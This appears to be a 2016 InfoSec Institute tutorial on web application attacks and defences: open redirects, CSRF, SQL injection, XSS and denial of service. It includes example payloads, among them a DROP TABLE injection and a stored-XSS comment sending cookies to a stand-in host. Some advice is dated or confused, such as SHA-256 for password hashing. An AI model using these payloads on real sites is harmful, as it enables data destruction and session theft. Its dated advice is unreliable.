Web applications can be exploited in various ways. Their trustworthiness can be used to trick users into opening links, users can be unwillingly forced to carry out actions in a website while being on another website, malicious code can be injected into a trustworthy website to the detriment of the users and the website, and websites/servers can be overloaded with requests until they can no longer help their legitimate users. In this tutorial, we will briefly focus on all of these hot issues in website security today, along with some other critical issues that need to be addressed.

Unvalidated Redirects

Most web applications rely on some sort of endpoint (URL) which redirects users to an arbitrary other page, or website. Attackers can exploit such an endpoint by sending out links which seemingly point to the given web application, but are actually links to the endpoint aimed at redirecting and although the users will see the given web application in the URL, they could be redirected to any page, malicious or not.

For example, a simple PHP application redirect endpoint may look something like this:

if (isset($_GET[‘redirect’])) {

header(“Location: ” . $_GET[‘redirect’]);

}

The application could be using this endpoint internally to redirect to various websites, but if an attacker finds out about it, he/she could exploit it to trick users by sending links like that:

Somegoodwebsitehere.com?redirect=http://somebadsitehere.com

Preventing unvalidated redirects

To prevent such malicious use of a web application, a web application can make various checks. It could allow only certain URLs/pages to trigger the redirect, or it could check if the URL matches a certain pattern (this is typically done through regular expressions). There cannot be a single valid solution to preventing unvalidated redirects, as what needs to be done depends on the needs of the web application and the redirecting endpoint but measures must be taken to disallow potential attackers from redirecting the web application’s users to arbitrary web sites.

CSRF (Cross-Site Request Forgery)

HTML basics

To understand CSRF, one has to have a basic understanding of HTML forms. Forms consist of different tags/elements which require input from the users, such as their name, age, the sum they want to transfer/send to someone, the credit card to which they want to transfer that sum and so on. When the user submits that form, an HTTP request is made to the server, passing that form data and that request is usually of POST type for more important things.

When a form gets submitted to the server, the server typically receives the name attribute of the given input/textarea/select element, and its value (selected option for <select> elements) as data, so one could easily replicate a form submission.

POST vs. GET

POST requests do not send the form data in the URL, so it cannot be seen on the screen by overlookers and the data does not get stored in the browser’s history/bookmarks, while GET does just the opposite – it sends the data to the URL (like ?redirect=userInputData) and results can get stored in the browser’s history/bookmarks.

CSRF in action

Let’s say we have the following form in the HTML of the webpage:

<form action=”someurl.com/delete-account” method=”get”>

<input name=’confirm’ type=”submit” value=”Delete Account”>

</form>

Assuming the form submits a GET request. An attacker can send links to arbitrary users, and once they opened them, they would have their accounts deleted, if they have an account on the given website. This is assuming the website is vulnerable to XSS and does not require further confirmation from the user.

The attacker could send links, images, or redirect the users from one page to the following and the action would be performed:

someurl.com/delete-account

The way to go here is with testing, examining the form elements and what is necessary to achieve the same request as in the form, as in the case with the form above, the server may be checking if confirm is set before deleting the account so one might need a link like this one:

someurl.com/delete-account?confirm=Delete+Account

CSRF through website

If an attacker is in possession of a web site which people visit, he/she could force the user to make a request for an image, which actually imitates a GET form submission and the user would have no idea that such a thing happened.

<img src=” someurl.com/delete-account?confirm=Delete+Account” width=”0″ height=”0″ border=”0″>

Having control of a website, the attacker can actually recreate the form in the given website, and automatically submit it when the user clicks somewhere or lands on a particular page. This is a way to exploit websites which use POST requests for the important requests, as they should.

Preventing CSRF

To prevent CSRF, websites need to make sure that the user intended to perform the given action (to make that request). The most common way to ensure that the users want to perform a given action is to set a random string in the form, and store it on the server, whenever they view the page which shows them a user interface explaining what an action does and allowing them to perform that action through a form that involves clicking or/and typing in input fields.

Here is a code example of this kind of protection:

<form action=”someurl.com/delete-account” method=”get”>

<input type=”hidden” name=”_token” value=”dksfdsjfoewj0wegfewj0gegeogeweprowlrt3453452342304u3390jdeogefowse”>

<input type=”submit” value=”Delete Account”>

</form>

The above form is what gets shown on the user’s page. The hidden input would not be seen by the user but will be sent to the server request when he/she clicks on the submit button. Then, when he/she clicks, the server would check if the token (the random string that is in the value attribute of the hidden input) matches what is stored on the server and delete the user’s account if and only if the user previously visited the user interface page with our form. Now, an attacker may still be able to redirect the user to the page with the form for deleting an account, but it is unlikely that the user would delete his/her account in this new case.

As a side note, web applications typically rely on sessions which allow them to tie any user to a specific set of variables, or pieces of data about him/her, so the token would be different for each user, and should typically expire within a few minutes.

Injection Attacks

Attackers can also attempt to exploit points which allow for user input by attempting to modify the back-end/server logic of the web application or make it execute other unwanted code. The most common form of such injection is SQL injection. MySQL/MariaDB is the most commonly used database in the world for websites, and it is no wonder that attempts to communicate with such databases outside of the limits of the web application occur. Besides, there are numerous other popular databases which also rely on the language called SQL for communication between the application and the database such as PostgreSQL.

Injection and SQL Injection attacks are not always as obvious. They may not be only carried out by writing malicious input in a form, or an input field. Most web applications need to know certain information about the page that the user wants to view, that comes from user clicks, and links, and not from the user typing. This is almost always the case with dynamic web applications, and in 2016, almost every website is dynamic. Even a simple blog. Here is an example of a possible injection attack with a sample blog page:

arbitraryblog.biz/blog/cool-article-about-cooking/

Just by looking at the URL, we can tell that the blog uses dynamic routing/URLs. Whatever is typed in the last URL parameter, would be searched for somewhere in the database and displayed to the user. Essentially, the application would search for an article/row in the database that has some column named ‘title,’ ‘heading,’ ‘name’ or something similar with value ‘cool-article-about-cooking’ and would get and display additional data about this entry such as the article’s body. Now, an attacker can exploit this by attempting to input something like:

arbitraryblog.biz/blog/1’; DROP TABLE blog;/

That is a simplified example and will not work in most cases, as the contemporary functions which handle connections with SQL databases of popular programming languages allow only one query to be executed at a time with the code, unless the programmer specifically wanted to execute multiple queries in a single string (for example, in PHP he/she could have used $mysqli->multi_query($sql)

This example perfectly shows the way to perform SQL Injections. One has to be at least partially aware of the SQL querying language in order to test for different flaws. The above example uses 1‘; before the command which is supposed to entirely delete the table with blog entries because we assume that the application logic, in the Blog case, resembles something like:

SELECT * FROM blog WHERE title = ‘cool-article-about-cooking’

(SELECT * FROM blog WHERE title = ‘$input’)

Therefore, we extend the query by transforming it through the URL into:

SELECT * FROM blog WHERE title = ‘1’; DROP TABLE blog;

Now, you can look up many examples online which work better and are more suitable for more cases but the point here is to show how these queries (such as 1=1, “ or “”=””) work.

Essentially, we are malforming and modifying the query passed to the database through all kinds of user and web page inputs in order to be able to perform our own query on it, which in reality would require some kind of authentication and authorization such as a valid username, password, host.

Preventing Injection Attacks

To prevent injection attacks, one has to validate the incoming inputs and page parameters carefully. If they are expected to be numbers – check and allow only numeric input, if they could be arbitrary strings, make sure special characters used in SQL queries, your back-end application are properly escaped or removed.

XSS

There are numerous flaws that can emerge within web applications causing them to be exploitable by malicious parties.

Unvalidated inputs cause the most common flaws out there.

Cross Site Scripting (or XSS) can be caused by unvalidated input which would allow the attacker to add input that is not intended to be added. An attacker can add JavaScript or other application logic to his input, and if this input is later shown on a page without being escaped/sanitized, the application logic from the user’s input can run on all visitors of the website where that input is shown.

HTML Intro

To be able to exploit XSS vulnerabilities properly, one has to be aware of the basics of HTML, at the least. HTML is the markup language behind the web, it has a tree structure and allows for tags such as <input> (the browser rendering the page would display this tag/text as a box where the user could type) and attributes (such as <input type=”number”>). The distinction between tag and attribute is essential as an XSS attack would depend on whether the user’s input is added simply as a text in a tag, or in an attribute. If the user’s input is shown on the page as text, then you can simply attempt an XSS attack by adding tags in your input and seeing how they are processed. If you add <script>alert(1);</script> in an input box and submit it,  if the input gets shown as is – then the website is properly sanitizing the input, if one gets an alert – then the website is vulnerable.

Figure 1: A web page showing the <script>alert(1)</script> input without sanitizing it.

On the other hand, if the web page is showing the input in an HTML element attribute (<a data-name=”John”>), you would need to try to close the attribute, then the tag, and then enter your desired potentially malicious input – “><script>alert(1)</script> which would render markup on the page resembling: <a data-name=””><script>alert(1)</script>”>.

Types of XSS

Reflected XSS

Reflected XSS occurs whenever user input, or point of entry which can be modified by the user is simply returned back to the user in an error message, search result, notification or in another circumstance. In this case, the attacker can add malicious input and if it is possible to send links directly to other users with that input – arbitrary code can be executed on their browser/website session. In Reflected XSS, the malicious user input is not saved anywhere persistently and is simply returned back by the server.

Preventing Reflected XSS

Reflected XSS can be simply prevented by escaping the special characters of the Web languages which the user may add in his input. For example, in the PHP scripting language, the input could be returned enclosed by htmlspecialchars() which will make the special characters display as entities, or as literal characters. For example, if the user typed <script>alert(1)</script>, returning the input as &lt;script&gt;alert(1)&lt;/script&gt; which will be rendered by the browser as ordinary text. Another alternative is to completely remove tags and such special characters – again, in PHP by using strip_tags()

Stored XSS

Stored XSS can occur whenever the website is actually saving the user’s input into some permanent solution such as a database and does not display the input safely in the browser. In such a case, the page where the user input is shown can contain malicious input which is run on any visitor’s browser. An example is a comment form on a page, where an attacker adds the following comment:

<script>window.location = http://mybadsite.com?cookie= + document.cookie</script>

In this case, any person viewing the page with the comment will be redirected to another website and that website will get the user’s cookies which can be used for further attacks.

Dom based XSS

Dom based XSS can occur whenever the user input never leaves the browser to be sent to a back-end.

Application Denial of Service

Denial of service or Distributed Denial Service (DDoS) is an attack in which a given website/server is flooded with requests until it becomes irresponsive for legitimate users. Distributed means the attack is spread from different machines, IP addresses and possibly countries.

Protecting yourself against DoS attacks

DoS attacks cannot be prevented with certainty, but there are a few measures which could be undertaken to increase your resistance. The server needs to be tuned to handle only one request per user at a given point of time by synchronizing the user’s session. This would ease the burden from an attacker making thousands simultaneous requests each millisecond. It is also possible to drop a request (stop processing it) when a different request comes from the same user. Furthermore, you can ensure that operations which require a lot of computation are not publicly available but require some form of authentication as this can serve as a limitation to a strong DDoS attack. In many cases, some/most of the above would be already in place on recent server distributions. For example, if you use file based sessions with an Apache web server, it is likely that when a user makes a request, his/her session file is locked and his/her next request will be queued until the last one gets completed.

Security Tips

  • Do not show directory listings on the web server as they can be an easy source for attackers to search for artifacts of value which may be forgotten, put publicly by mistake, temporary for backup purposes and so on
  • Authentication should be resistant to injection attacks so that the authentication system cannot be bypassed and authorization schemes should be invented that would allow only as much access as the user needs. Checks need to be made if authentication/authorization can be bypassed (for example, having a login page and public member pages which still can be seen without the user logging in, if he/she guesses the URLs).
  • Ensure an adequate level of password strength, authentication and session data should not be cached by the browser.
  • The user’s session should be protected against MitM (Man-in-the-Middle-Attacks) and should not be readable by the browser (JavaScript).
  • Encrypt important data using trustworthy algorithms (such as Blowfish) (, use strong one-way hashing algorithms (such as SHA-256/512) for passwords (many websites still save their users’ passwords in plaintext or use outdated algorithms such as md5 which makes those passwords easily revealed should their database be compromised)
  • Any website should be clearly divided in at least two modes – development and production. In production mode, the website should not return descriptive error messages that gives information as to what exactly went wrong in terms of the source code and the errors, variables, methods, operations in it. This information leakage can help an attacker enormously, in certain cases.
  • You should rely on HTTPS communication between the client/server to prevent Man-in-the-Middle attacks and unhappy customers. In 2016 and the upcoming days, this is getting less and less of an issue as it is now possible to set up secure communication without paying a dime using a service like Let’s Encrypt.

Conclusion

Even though we have barely scratched the surface of web application vulnerabilities, it ought to be evident that they are widespread and diverse enough for a firm to be deemed completely secure. Most of the times, the vulnerabilities will not be that simple to find and will hide somewhere in a forgotten line of a programmer, deep in the user interface, sometimes social engineering may be used to get to a point (let’s say some editor account) where security is lapse as the programmers did not have in mind that website editors will be carrying out attacks, searching for exploits to escalate their privilege.

Be Safe

Section Guide

Ivan
Dimov

View more articles from Ivan

Earn your CISSP the first time with InfoSec Institute and pass your exam, GUARANTEED!

Section Guide

Ivan
Dimov

View more articles from Ivan
[i]
[i]